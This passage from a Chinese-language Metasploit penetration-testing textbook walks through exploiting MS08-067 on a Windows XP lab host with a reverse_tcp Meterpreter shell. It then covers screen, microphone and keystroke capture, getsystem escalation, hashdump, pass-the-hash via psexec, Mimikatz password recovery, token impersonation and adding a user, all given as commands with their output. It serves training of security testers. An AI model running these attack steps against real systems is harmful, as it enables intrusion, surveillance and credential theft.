在Metasploit框架中，提供了大量可用来进一步控制目标主机的攻击载荷。在选择攻击载荷时，用户可以使用show payloads命令查看所有可用的攻击载荷。具体如下：
 


msf5 exploit(ms08_067_netapi) > show payloads 

Compatible Payloads

===================

   Name                 Disclosure Date   Rank    Check  Description

   -----               ----------------  -----   -------------------

   generic/custom               normal     No     Custom Payload

   generic/debug_trap           normal    No     Generic x86 Debug Trap

   generic/shell_bind_tcp      normal    No     Generic Command Shell, Bind 

   TCP Inline

   generic/shell_reverse_tcp  normal     No     Generic Command Shell, 

   Reverse TCP Inline

   generic/tight_loop           normal    No     Generic x86 Tight Loop

   windows/adduser              normal     No     Windows Execute net user /ADD

   windows/dllinject/bind_hidden_ipknock_tcp   normal  No  Reflective 

   DLL Injection, Hidden Bind Ipknock TCP Stager

   windows/dllinject/bind_hidden_tcp             normal  No       Reflective 

   DLL Injection, Hidden Bind TCP Stager

   windows/dllinject/bind_ipv6_tcp               normal  No       Reflective 

   DLL Injection, Bind IPv6 TCP Stager (Windows x86)

   windows/dllinject/bind_ipv6_tcp_uuid         normal  No       Reflective 

   DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)

   windows/dllinject/bind_named_pipe             normal  No      Reflective 

   DLL Injection, Windows x86 Bind Named Pipe Stager

   windows/dllinject/bind_nonx_tcp                normal  No      Reflective 

   DLL Injection, Bind TCP Stager (No NX or Win7)

...

   windows/vncinject/reverse_ord_tcp         normal  No      VNC Server 

   (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)

   windows/vncinject/reverse_tcp              normal  No     VNC Server 

   (Reflective Injection), Reverse TCP Stager

   windows/vncinject/reverse_tcp_allports   normal  No     VNC Server 

   (Reflective Injection), Reverse All-Port TCP Stager

   windows/vncinject/reverse_tcp_dns         normal  No     VNC Server 

   (Reflective Injection), Reverse TCP Stager (DNS)

   windows/vncinject/reverse_tcp_rc4         normal  No     VNC Server 

   (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)

   windows/vncinject/reverse_tcp_uuid        normal  No     VNC Server 

   (Reflective Injection), Reverse TCP Stager with UUID Support

   windows/vncinject/reverse_udp                 normal  No     VNC Server 

   (Reflective Injection), Reverse UDP Stager with UUID Support




 
以上输出的信息显示了ms08_067_netapi模块下可加载的所有攻击载荷。
4.4.2　设置攻击载荷
 
本例中选择windows/meterpreter/reverse_tcp攻击载荷，用于获取一个反弹式Shell。其语法格式如下：
 


set payload [攻击载荷]




 
此时，执行命令如下：
 


msf5 exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp




 
从输出的信息中可以看到，已设置payload为windows/meterpreter/reverse_tcp。当成功加载攻击载荷后，执行show options命令会看到增加了一部分Payload options（攻击载荷选项）配置内容。具体如下：
 


msf5 exploit(ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):        #模块选项

   Name     Current Setting    Required     Description

   -----   

   RHOSTS  192.168.1.104        yes         The target address range or CIDR 

   identifier

   RPORT    445                yes         The SMB service port (TCP)

   SMBPIPE  BROWSER           yes         The pipe name to use (BROWSER, SRVSVC)

   Payload options (windows/meterpreter/reverse_tcp):        #攻击载荷选项

   Name      Current Setting  Required     Description

   ----        ---------------        --------     -----------

   EXITFUNC  thread           yes         Exit technique (Accepted: '', seh, 

   thread, process, none)

   LHOST                         yes         The listen address

   LPORT     4444              yes         The listen port

   Exploit target:                                            #可利用目标

   Id  Name

   --   ----

   2   Windows XP SP0/SP1 Universal




 
从以上输出信息中可以看到windows/meterpreter/reverse_tcp攻击载荷选项配置内容，由此说明，该攻击载荷已加载成功。接下来介绍配置攻击载荷选项内容。
4.4.3　设置攻击载荷选项
 
当用户加载一个攻击载荷后，可以看到该攻击载荷也有需要进行配置的选项参数。而且必须配置这些选项，才可使其攻击载荷发挥作用。所有攻击载荷都有相应的配置选项，并且每个攻击载荷的配置选项设置方法都相同。通常，攻击载荷选项包括渗透攻击的IP地址和端口。下面介绍设置攻击载荷选项的方法。
 
【实例4-10】设置攻击载荷选项。
 
（1）查看攻击载荷中可配置的选项。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):        #模块选项

   Name     Current Setting   Required     Description

   ------   ---------------  ---------    ------------

   RHOSTS   192.168.1.104        yes           The target address range or CIDR 

   identifier

   RPORT    445                yes           The SMB service port (TCP)

   SMBPIPE  BROWSER           yes           The pipe name to use (BROWSER, 

   SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):            #攻击载荷选项

   Name      Current Setting  Required     Description

   ------   ---------------  ---------    ------------

   EXITFUNC  thread           yes           Exit technique (Accepted: '', seh, 

   thread, process, none)

   LHOST                         yes           The listen address

   LPORT     4444              yes           The listen port

Exploit target:                                                #可利用目标

   Id  Name

   --  -----------------------------------------------

   2   Windows XP SP0/SP1 Universal




 
从以上输出的信息中可以看到，windows/meterpreter/reverse_tcp攻击载荷共有3个可配置选项，分别是EXITFUNC（退出操作）、LHOST（监听地址）和LPORT（监听端口号）。该攻击载荷默认配置了EXITFUNC和LPORT选项，还需要配置LHOST选项。
 
（2）配置LHOST选项，即攻击主机的IP地址。本例中，攻击主机的IP地址为192.168.1.105。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > set LHOST 192.168.1.105

LHOST => 192.168.1.105




 
从输出的信息中可以看到，LHOST已经设置为192.168.1.105。
4.5　实施渗透攻击
 
通过前面的操作，已经完成了渗透测试准备工作。接下来就可以对指定的目标实施渗透攻击了。本节将介绍实施渗透攻击的方法。
4.5.1　检查有效性
 
在对目标实施渗透攻击前，可以使用check命令检查当前目标主机是否支持漏洞攻击载荷，以及配置选项是否有效。
 
【实例4-11】检查模块的有效性。具体操作如下：
 
（1）查看下当前模块的配置项。执行命令如下：
 


msf5 exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting   Required   Description

   -----    ---------------   --------  -------------

   RHOSTS    192.168.1.104       yes          The target address range or CIDR 

   identifier

   RPORT    445                 yes           The SMB service port (TCP)

   SMBPIPE  BROWSER              yes           The pipe name to use (BROWSER, 

   SRVSVC)

Exploit target:

   Id  Name

   --  ------------------------------

   0   Automatic Targeting




 
从输出的结果中可以看到，当前模块的所有配置项都已配置。接下来，检查该模块的有效性。
 
（2）检查模块的有效性。执行命令如下：
 


msf5 exploit(windows/smb/ms08_067_netapi) > check 

[+] 192.168.1.104:445 The target is vulnerable.




 
从输出的结果中可以看到，指定的目标主机可以利用该漏洞实施攻击。
 
[image: ]注意：在Metasploit中，并不是每个exploit模块都支持check命令。
4.5.2　执行攻击
 
通过前面的操作，渗透攻击模块和攻击载荷就设置完成了。接下来即可对目标实施渗透攻击。
 
【实例4-12】实施渗透攻击。
 
（1）为了确认所有的配置信息都正确，在使用攻击之前可再次查看所有的配置选项信息。具体如下：
 


msf5 exploit(ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name    Current Setting   Required   Description

   -----   ---------------  ---------  -------------

   RHOSTS   192.168.1.104    yes         The target address range or CIDR 

identifier

   RPORT    445                yes         The SMB service port

   SMBPIPE  BROWSER           yes         The pipe name to use(BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name    Current Setting   Required  Description

   -----   ---------------  ---------  -------------

   EXITFUNC  thread           yes         Exit technique (Accepted: '', seh, 

   thread, process, none)

   LHOST     192.168.1.105   yes       The listen address

   LPORT     4444              yes       The listen port

Exploit target:

   Id  Name

   --  ------------------------------------------------

   2   Windows XP SP0/SP1 Universal




 
从输出的结果中可以看到，所有的配置项都已设置好。此时即可对目标实施渗透攻击。
 
（2）实施渗透攻击。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > exploit 

[*] Started reverse TCP handler on 192.168.1.105:4444 

[*] 192.168.1.104:445 - Attempting to trigger the vulnerability...

[*] Sending stage (957999 bytes) to 192.168.1.104

[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.104:1059) 

at 2017-05-07 17:20:51 +0800

meterpreter >




 
从输出的信息中可以看到，Meterpreter会话1被打开了。看到meterpreter>提示符，表示渗透攻击成功，也就是实施攻击的主机成功地远程连接到了Windows系统。此时，可以在Meterpreter Shell下执行很多的命令，如捕获屏幕信息、提取用户密码、添加用户等。
4.6　任务管理
 
MSF终端提供了两个命令，可以实现任务管理。当用户实施多个渗透攻击操作后，可能会记不清楚。此时，可以查看所运行的任务。当不需要某任务时，可以手动结束。本节介绍任务管理的方法。
4.6.1　查看任务
 
如果在后台运行一些任务时，可以使用jobs命令查看所有的任务。语法格式如下：
 


jobs [选项]


 
jobs命令支持的选项及含义如下：
 
·-K：列出终端运行的所有任务。

·-h：显示帮助信息。

·-i<opt>：列出一个任务的详细信息。

·-k<opt>：指定终端的任务名称。

·-l：列出所有运行任务。

·-v：显示更详细信息。
 
【实例4-13】查看后台运行的任务。执行命令如下：
 


msf5 > jobs

Jobs

====

No active jobs.




 
从输出的信息中可以看到后台没有运行任何任务。
4.6.2　结束任务
 
当想要结束某个任务时，可以使用kill命令来实现。此时指定任务的ID可以结束其任务。例如，结束ID为0的工作任务。执行命令如下：
 


msf5 exploit(ms10_002_aurora) > kill 0

Stopping job: 0...

[*] Server stopped.




 
从输出的信息中可以看到，后台已成功停止了ID号为0的任务。
第5章　扩展功能
 
为了加强Metasploit的漏洞利用功能，Metasploit还提供了一些扩展模块和其他功能，如Meterpreter、Msfvenom和免杀功能。通过这些功能，安全测试人员可以更灵活地实施测试操作，提高漏洞利用成功率，实施更为深入的渗透。本章将详细讲解这3个方面。
5.1　使用Meterpreter模块
 
Meterpreter是Metasploit框架的一个扩展模块，可以调用Metasploit的一些功能，对目标系统进行更为深入的渗透。这些功能包括反追踪、纯内存工作模式、密码哈希值获取、权限提示、跳板攻击等。本节将使用前面获取到的Meterpreter作为攻击载荷，展示它在进入目标系统后的一些其他攻击方法与技术。
5.1.1　捕获控制设备信息
 
在Meterpreter中，用户可以捕获一些控制设备信息，如目标主机的屏幕、摄像头拍摄到的画面及麦克风的声音等。下面介绍如何捕获这些控制设备信息。
 
1．捕获屏幕
 
在Meterpreter Shell中，可以使用screenshot捕获目标主机当前正在显示的屏幕。执行命令如下：
 


meterpreter > screenshot 

Screenshot saved to: /opt/metasploit-framework/bin/MHKYhbzu.jpeg




 
从输出的信息中可以看到，捕获的屏幕被保存在/opt/metasploit-framework/bin/MHKYhbzu.jpeg文件中。打开捕获的屏幕文件，效果如图5.1所示。
 
2．捕获麦克风的声音
 
在Meterpreter Shell下，可以使用run sound_recorder命令录制目标主机中麦克风的声音。使用run sound_recorder命令，默认录制30秒的声音。如果想要录制更长的时间，需要使用-l选项。执行命令如下：
 


meterpreter > run sound_recorder 

[*] Saving recorded audio to /root/.msf4/logs/scripts/sound_recorder/AA-

886OKJM26FSW_20170507.2547

[*] Recording a total of 0m 30s

[+]     Audio saved to: AA-886OKJM26FSW_1.wav
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图5.1　捕获的屏幕
 
从以上输出信息中可以看到，录制了目标主机30秒的声音，并且被保存在/root/.msf4/logs/scripts/sound_recorder/AA-886OKJM26FSW_20170507.2547文件夹中。打开录制的声音，显示界面如图5.2所示。
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图5.2　录制的声音
5.1.2　获取键盘记录
 
当想要获取目标主机系统的密码时，可以使用破解或攻击的方法，也可以在远程主机上进行键盘记录。在Meterpreter中，可以启动keylog_recorder模块来获取键盘记录信息。执行命令如下：
 


meterpreter > run post/windows/capture/keylog_recorder 

[*] Executing module against BENET-C8D2KE6J5

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to /root/.msf4/loot/20170507173623_default_

192.168.1.104_host.windows.key_429496.txt

[*] Recording keystrokes...




 
此时，表示已经启动了键盘记录。为了验证该操作，可以手动在目标主机上进行一些键盘输入操作，然后在Meterpreter终端使用Ctrl+C键停止键盘记录，即可将所有捕获到的内容保存在一个文件中。按Ctrl+C键后将显示如下信息：
 


^C[*] Saving last few keystrokes...

[*] Interrupt 

[*] Stopping keystroke sniffer...




 
从输出的信息中可以看到，已成功保存了键盘记录。键盘记录内容被保存到/root/.msf4/loot/20170507173623_default_192.168.1.104_host.windows.key_429496.txt文件中。此时，打开一个新的终端，即可查看捕获到的所有内容。具体如下：
 


[root@RHEL ~]# cat /root/.msf4/loot/20170507173623_default_192.168.1.

104_host.windows.key_429496.txt

Keystroke log started at 2017-05-07 17:36:22 +0800

 <LWin> r <Return> net use <Return> 

 <Ctrl>  <Alt>  <LCtrl>  <LMenu> 

net user <Return> 

net user admini

 <Back>  <Back>  <Back>  <Back>  <Back> bob

 123456 <Return>




 
从以上输出的信息中可以看到捕获到的所有内容。
 
除了使用以上捕获键盘记录的方法，也可以使用keyscan_dump命令来捕获键盘输入。具体操作步骤如下：
 
（1）启动键盘输入。执行命令如下：
 


meterpreter > keyscan_start 

Starting the keystroke sniffer...




 
从输出的信息中可以看到，已成功启动了键盘输入。同样，可以在目标主机上进行一些捕获键盘输入的操作。
 
（2）捕获键盘输入。执行命令如下：
 


meterpreter > keyscan_dump 

Dumping captured keystrokes...

 <LWin> r <Return> net admi <Back>  <Back>  <Back>  <Back> user <Return> net 

administrator pass <Left>  <Left>  <Left>  <Left>  <Left>  <Left> user

<Right> word <Return>  <Up>  <Up>  <Return>




 
从以上显示的信息中可以看到，已捕获到目标主机上的所有键盘输入。
 
（3）在不需要进行键盘输入捕获时，使用keyscan_stop命令停止捕获。具体如下：
 


meterpreter > keyscan_stop 

Stopping the keystroke sniffer...




 
从输出的信息中，可以看到已停止了键盘捕获输入。
5.1.3　提升权限
 
提示权限就是将某个用户原来拥有的较低权限提到较高权限。当用户对目标实施渗透后，可能是一个普通用户，而非管理员。在这种情况下，想要进一步控制该目标主机，就会受到权限影响，不能进行特定类型的攻击。例如，无法提取SAM数据库获得用户和密码哈希值。此时可以使用Meterpreter命令尝试将该用户的权限提升到本地系统权限或管理员权限。下面介绍提升权限的方法。
 
用户获取到Meterpreter后，可以使用getuid命令查看获取到的权限等级。具体如下：
 


meterpreter > getuid 

Server username: BENET-C8D2KE6J5\bob




 
从输出的信息中可以看到，目标主机登录的用户为bob。此时，用户可以切换到PowerShell，查看该用户的详细信息。具体如下：
 


meterpreter > shell                                     #进入PowerShell

Process 1028 created.

Channel 1 created.

Microsoft Windows XP [�汾 5.1.2600]

(C) ��Ȩ���� 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user bob                        #查看bob用户权限

net user bob

�û���                        bob                            #用户名

ȫ��                             bob                            #全名

ע��                                                       #注释

�û���ע��                                                 #用户的注释

����(����)����        000 (ϵͳĬ��ֵ)                #国家(地区)代码

�ʻ�����                       Yes                            #账户启用

�ʻ�����                       �Ӳ�                        #账户到期

�ϴ���������            2017/5/8 ���� 05:38        #上次设置密码

���뵽��                       2017/6/20 ���� 04:25        #密码到期

�����ɸ���                 2017/5/8 ���� 05:38        #密码可更改

��Ҫ����                   Yes                            #需要密码

�û����Ը�������         Yes                            #用户可以更改密码

�����Ĺ���վ               All                            #允许的工作站

��¼�ű�                                                   #登录脚本

�û������ļ�                                           #用户配置文件

��Ŀ¼                                                         #主目录

�ϴε�¼                           2017/5/5 ���� 02:01        #上次登录

�������ĵ�¼Сʱ��         All                            #可允许的登录小时数

��������Ա                  *Users                        #本地组成员

ȫ������Ա                    *None                             #全局组成员

�����ɹ����ɡ�                                        #命令成功完成

C:\WINDOWS\system32>




 
以上显示了目标主机bob用户的详细信息。从以上信息中可以看到，bob用户属于Users组，不是管理员。在以上信息中，用户会发现显示的都是乱码，这是因为MSF终端不支持中文所导致。不过，这里已经将每行信息都进行了注释。接下来，返回Meterpreter中使用getsystem命令提升权限。具体如下：
 


C:\WINDOWS\system32>exit                                #退出PowerShell终端

exit

meterpreter > getsystem                                 #提升权限

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid                                     #再次查看权限等级

Server username: NT AUTHORITY\SYSTEM




 
从以上输出的信息中可以看到，返回的权限等级为NT AUTHORITY\SYSTEM。这表示已成功获得了管理员权限。如果用户想要切换回Meterpreter Shell会话中的初始用户账号，可以执行rev2setf命令。
 
[image: ]提升：在Meterpreter控制台里中，可以输入background跳转到MSF终端里，Meterpreter的会话仍在运行。输入session-l和session-i会话id可返回Meterpreter控制台。
5.1.4　挖掘用户名和密码
 
前面已介绍过可以通过键盘记录的方式来捕获用户输入的密码。如果不使用键盘记录，同样也可以用Meterpreter命令来获取系统本地文件中的用户名和密码哈希值。微软Windows系统存储哈希值的方式一般为LAN Manager（LM）、NT LAN Manager（NTLM）或NT LAN Manager v2（NTLMv2）。在LM存储方式中，当用户首次输入密码或更改密码的时候，密码被转换为哈希值。由于哈希长度的限制，将密码切分为7个字符一组的哈希值。而NTLM的存储方式跟密码长度无关，密码将作为整体转换为哈希值存储。
 
在Meterpreter中，用户可以使用hashdump命令获取系统所有的用户名和密码哈希值。但是获取安全账号管理器（SAM）数据库，需要运行在SYSTEM权限下，以绕过注册表的限制，获取受保护的存有Windows用户和密码的SAM存储。如果获取到的Meterpreter是普通用户权限，用户则需要提升权限，才可以获取到用户的密码哈希值。执行命令如下：
 


meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 9848544e2c15cc873317bb3fe3eea604...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500: 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9

cba88547376818d4:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0

c089c0:::

HelpAssistant:1000:3719c770c42ac0b357a8a385017c3836:cf5c7f58fc61a28014

d0320846ca8123:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1bc6bb0d12f48b31

e43eb930d07fb765:::

bob:1003:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::




 
从输出信息中可以看到获取到的用户名和密码哈希值。例如，Administrator密码的哈希值为：
 


44efce164ab921caaad3b435b51404ee①:32ed87bdb5fdc5e9cba88547376818d4②:::




 
该密码哈希值包括两部分，已经用编号标出。其中，①哈希是LM哈希值，②是NTLM哈希值。
5.1.5　传递哈希值
 
前面介绍过可以使用hashdump命令提取管理员用户的用户名和密码哈希值。但是，在短时间内将明文密码破解出来显然不太可能。如果不知道明文密码，则无法通过该用户账号登录更多的主机，或者入侵更多系统。此时，需要使用哈希值传递技术，仅仅有密码的哈希值就够了，而不需要密码明文。用Metasploit的windows/smb/psexec模块可以实现。
 
【实例5-1】使用Metasploit的windows/smb/psexec模块实现哈希值传递。具体操作步骤如下：
 
（1）选择windows/smb/psexec模块。执行命令如下：
 


msf5 > use exploit/windows/smb/psexec

msf5 exploit(psexec) >




 
（2）选择攻击载荷。执行命令如下：
 


msf5 exploit(psexec) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp




 
（3）配置选项参数。执行命令如下：
 


msf5 exploit(psexec) > set LHOST 192.168.1.105        #设置攻击主机地址

LHOST => 192.168.1.105

msf5 exploit(psexec) > set LPORT 443                #设置端口号

LPORT => 443

msf5 exploit(psexec) > set RHOSTS 192.168.1.104        #设置目标主机地址

RHOST => 192.168.1.104

msf5 exploit(psexec) > set SMBUser Administrator    #指定用户名

SMBUser => Administrator

msf5 exploit(psexec) > set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87

bdb5fdc5e9cba88547376818d4                            #指定用户的密码哈希值

SMBPass => 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4




 
（4）实施渗透攻击。执行命令如下：
 


msf5 exploit(psexec) > exploit 

[*] Started reverse TCP handler on 192.168.1.105:4444 

[*] 192.168.1.104:445 - Connecting to the server...

[*] 192.168.1.104:445 - Authenticating to 192.168.1.104:445 as user 

'Administrator'...

[*] 192.168.1.104:445 - Selecting native target

[*] 192.168.1.104:445 - Uploading payload...

[*] 192.168.1.104:445 - Created \OXvXcSOH.exe...

[+] 192.168.1.104:445 - Service started successfully...

[*] 192.168.1.104:445 - Deleting \OXvXcSOH.exe...

[*] Sending stage (957999 bytes) to 192.168.1.104

[*] Meterpreter session 2 opened (192.168.1.105:4444 -> 192.168.1.104:1035) 

at 2017-05-07 11:13:24 +0800

meterpreter >




 
从输出的信息中可以看到认证通过了，并且又获得一个Meterpreter会话。这里没有破解密码，也不需要明文密码，仅使用密码哈希值就获得了管理员权限。
 
如果成功入侵了某大型网络中的一台主机，在多数情况下，这台主机的管理员账号与域中其他大部分系统的账号通用。这样用户就可以无须破解密码，就能够实现从一个节点到另一个节点的攻击。
5.1.6　破解纯文本密码
 
Mimikatz是一款强大的系统密码破解获取工具。该工具曾经是一个独立程序运行。现在已被添加到Metasploit框架中，并作为一个可加载的Meterpreter模块。当成功地获取到一个远程会话时，使用Mimikatz工具可以很快恢复密码。下面介绍如何使用Mimikatz工具恢复密码。
 
【实例5-2】使用Mimikatz恢复纯文本密码。具体操作步骤如下：
 
（1）加载mimikatz模块。执行命令如下：
 


meterpreter > load mimikatz

Loading extension mimikatz...success.




 
从输出的信息中，可以看到mimikatz模块已加载成功。
 
（2）查看mimikatz模块下有效的命令。执行命令如下：
 


meterpreter > help




 
执行完以上命令后，会输出大量的信息。其中，在Meterpreter中所有的命令都已分类。这里主要介绍与mimikatz相关的命令，具体如下：
 


Mimikatz Commands

=================

    Command                Description

    -------                   -----------------

    kerberos                Attempt to retrieve kerberos creds

    livessp                  Attempt to retrieve livessp creds

    mimikatz_command     Run a custom commannd

    msv                      Attempt to retrieve msv creds (hashes)

    ssp                     Attempt to retrieve ssp creds

    tspkg                  Attempt to retrieve tspkg creds

    wdigest                   Attempt to retrieve wdigest creds




 
以上输出信息显示可执行的mimikatz命令，如恢复kerberos信息、livessp信息和哈希信息等。
 
（3）使用msv命令恢复哈希密码。具体如下：
 


meterpreter > msv

[+] Running as SYSTEM

[*] Retrieving msv credentials

msv credentials

===============

AuthID   Package    Domain            User              Password

------   -------    -------          -----             ----------

0;68602  NTLM       BENET-C8D2KE6J5  Administrator    lm{ 44efce164ab921 

caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }

0;996    Negotiate  NTAUTHORITY        NETWORKSERVICE  lm{ aad3b435b51404 

eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }

0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE    n.s. (Credentials KO)

0;42114  NTLM                                               n.s. (Credentials KO)

0;999    NTLM           WORKGROUP      BENET-C8D2KE6J5$  n.s. (Credentials KO)




 
执行完以上命令后，输出5列信息，分别表示认证ID、认证方式、域名、用户名和密码。从输出信息中可以看到当前系统中Administrator用户的哈希密码值。在哈希密码中，可以看到包括LM和NTLM两个哈希值。如果想要恢复出明文密码，可以使用kerberos命令获取Kerberos（网络认证协议）信息。具体如下：
 


meterpreter > kerberos 

[+] Running as SYSTEM

[*] Retrieving kerberos credentials

kerberos credentials

====================

AuthID   Package       Domain               User                   Password

------   -------       -------             ------                 ----------

0;68602  NTLM          BENET-C8D2KE6J5    Administrator         123456

0;997    Negotiate     NT AUTHORITY        LOCAL SERVICE     

0;996    Negotiate     NT AUTHORITY         NETWORK SERVICE   

0;42114  NTLM                                          

0;999    NTLM           WORKGROUP           BENET-C8D2KE6J5$  




 
从输出的信息中可以看到，输出的信息类似msv命令输出的信息。唯一不同的是，这里可以看到使用哈希加密的原始密码。以上信息中，Administrator用户的密码为123456。
5.1.7　假冒令牌
 
使用假冒令牌可以假冒某个网络中的另一个用户进行各种操作，如提升用户权限、创建用户和组等。令牌包括登录会话的安全信息，如用户身份识别、用户组和用户权限。当用户登录Windows系统时，会给他一个访问令牌作为认证会话的一部分。例如，一个入侵用户可能需要以域管理员身份处理一个特定任务，当他使用令牌后，便可假冒域管理员进行工作。当处理完任务时，通常会丢弃该令牌权限。这样，入侵者会利用这个弱点，来提升自己的访问权限。下面介绍在Meterpreter Shell下实现假冒令牌攻击的方法。
 
1．工作机制
 
在假冒令牌攻击中需要使用Kerberos协议。所以在使用假冒令牌前，先来介绍下Kerberos协议。Kerberos是一种网络认证协议，其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos工作机制如图5.3所示。
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图5.3　Kerberos工作机制
 
客户端请求证书的过程如下：
 
（1）客户端向认证服务器（AS）发送请求，要求得到服务器的证书。
 
（2）AS收到请求后，将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket（包括服务器密钥加密的客户机身份和一份会话密钥）和一个临时加密密钥（又称为会话密钥session key）。当然，认证服务器会将该证书给服务器也发送一份，用来使服务器认证登录客户端身份。
 
（3）客户端将ticket传送到服务器上，服务器确认是该客户端的话，便允许它登录服务器。
 
（4）客户端登录成功后，攻击者就可以通过入侵服务器获取客户端的令牌。
 
2．使用假冒令牌
 
【实例5-3】使用假冒令牌。具体操作步骤如下：
 
（1）使用ps命令列出当前运行的应用程序及运行这些应用的用户账号。具体如下：
 


meterpreter > ps

Process List

============

 PID    PPID      Name      Arch  Session       User             Path

 ---  ------     -----     -------------       -----           ------

 0         0           [System Process]                                                

 4         0        System             x86       0    NT AUTHORITY\SYSTEM            

 224     148      explorer.exe       x86         0      BENET-C8D2KE6J5\

Administrator  C:\WINDOWS\Explorer.EXE

 360     224      ctfmon.exe        x86      0      BENET-C8D2KE6J5\

Administrator  C:\WINDOWS\System32\ctfmon.exe

 512     4           smss.exe            x86       0      NT AUTHORITY\SYSTEM   \

SystemRoot\System32\smss.exe

 576     512      csrss.exe        x86       0     NT AUTHORITY\SYSTEM   \??\C:

\WINDOWS\system32\csrss.exe

 600     512      winlogon.exe       x86         0    NTA UTHORITY\SYSTEM   \??\C:

\WINDOWS\system32\winlogon.exe

...

1112     644      svchost.exe       x86      0     NT AUTHORITY\LOCAL SERVICE    

C:\WINDOWS\System32\svchost.exe

 1308    644         spoolsv.exe      x86         0     NT AUTHORITY\SYSTEM    

C:\WINDOWS\system32\spoolsv.exe

 1348     932         wuauclt.exe       x86         0     BENET-C8D2KE6J5\

Administrator  C:\WINDOWS\System32\wuauclt.exe

 1492     644      metsvc.exe       x86         0      NT AUTHORITY\SYSTEM   

C:\WINDOWS\TEMP\fnoeVqotc\metsvc.exe

 1976     600      logon.scr         x86         0      BENET-C8D2KE6J5\

Administrator  C:\WINDOWS\System32\logon.scr




 
以上信息显示了目标主机上运行的所有应用程序及这些程序的用户账号。从以上信息中可以看到有管理员用户运行的程序。所以，此时可以使用steal_token命令来盗取管理员用户的令牌。
 
（2）盗取管理员用户的令牌。其语法格式如下：
 


steal_token PID




 
从第一步显示的结果中，可以看到管理员运行了explorer.exe程序。其中，该程序的PID号为224。执行命令如下：
 


meterpreter > steal_token 224

Stolen token with username: BENET-C8D2KE6J5\Administrator




 
从输出的信息中可以看到，已成功盗取了管理员的令牌。此时，渗透测试者已经成功地假冒了管理员账号，现在Meterpreter是以管理员用户来运行了。
 
在某些情况下，ps命令不能列出管理员运行的进程。此时，用户可以使用incognito命令列举出系统上可以利用的令牌。因为结果可能不同，渗透测试时需要同时检查ps命令和incognito命令的输出结果。
 
【实例5-4】使用incognito命令假冒域管理员令牌。其中，本例中的域名为BENET，域管理员用户名为domainadmin。具体操作步骤如下：
 
（1）加载incognito模块。执行命令如下：
 


meterpreter > use incognito 

Loading extension incognito...success.




 
从输出的信息中可以看到，incognito模块加载成功。
 
（2）列举所有的令牌。执行命令如下：
 


meterpreter > list_tokens -u

Delegation Tokens Available

========================================

BENET\domainadmin

NT AUTHORITY\LOCAL SERVICE

NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\SYSTEM

Impersonation Tokens Available

========================================

NT AUTHORITY\ANONYMOUS LOGON




 
从以上输出信息中可以看到所有的令牌，此时可以选择假冒任何一个用户。
 
[image: ]提示：只有拥有SYSTEM权限的用户才可以查看到系统中的所有令牌，普通用户是没有权限的。
 
（3）假冒域管理员身份。执行命令如下：
 


meterpreter > impersonate_token BENET \\domainadmin

[+] Delegation token available

[+] Successfully impersonated user BENET \domainadmin




 
从输出的信息中可以看到，已成功盗取了管理员的令牌。此时用户可以以管理员身份进行一些操作，例如创建一个用户。执行命令如下：
 


meterpreter > add_user abc password -h 192.168.1.104

[*] Attempting to add user abc to host 192.168.1.104

[+] Successfully added user




 
从输出信息中可以看到，在目标主机192.168.1.104上已成功添加了一个名为abc的用户。为了验证该操作，用户可以到目标主机上查看是否存在abc用户。
 
[image: ]注意：在输入DOMAIN\USERNAME之前，需要输入两个反斜杠（\\）。
5.1.8　恢复目标主机删除的文件
 
在Meterpreter中，可以恢复目标主机中删除的文件。使用Meterpreter中的recovery_files模块，可以恢复系统文件、日志、账户信息和重要的文档。下面介绍恢复目标主机删除文件的方法。
 
【实例5-5】删除Windows XP中的文件。具体操作步骤如下：
 
（1）为了实现恢复删除的文件，首先创建两个文件。本例中分别创建了11.txt和selinux.pdf文件，然后将它们删除，如图5.4所示。
 
 
 [image: ] 


图5.4　删除目标系统文件
 
（2）后台运行Meterprete会话。执行命令如下：
 


meterpreter > background 

[*] Backgrounding session 1...




 
从输出的信息中可以看到，Meterpreter会话1正在后台运行。
 
（3）使用recovery_files模块。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > use post/windows/gather/forensics/

recovery_files 




 
（4）查看该模块下可配置选项。执行命令如下：
 


msf5 post(recovery_files) > show options 

Module options (post/windows/gather/forensics/recovery_files):

   Name   Current Setting  Required   Description

   -----  --------------   ---------   ------------

   DRIVE   C:               yes          Drive you want to recover files from.

   FILES                     no           ID or extensions of the files to 

   recover in a comma separated 

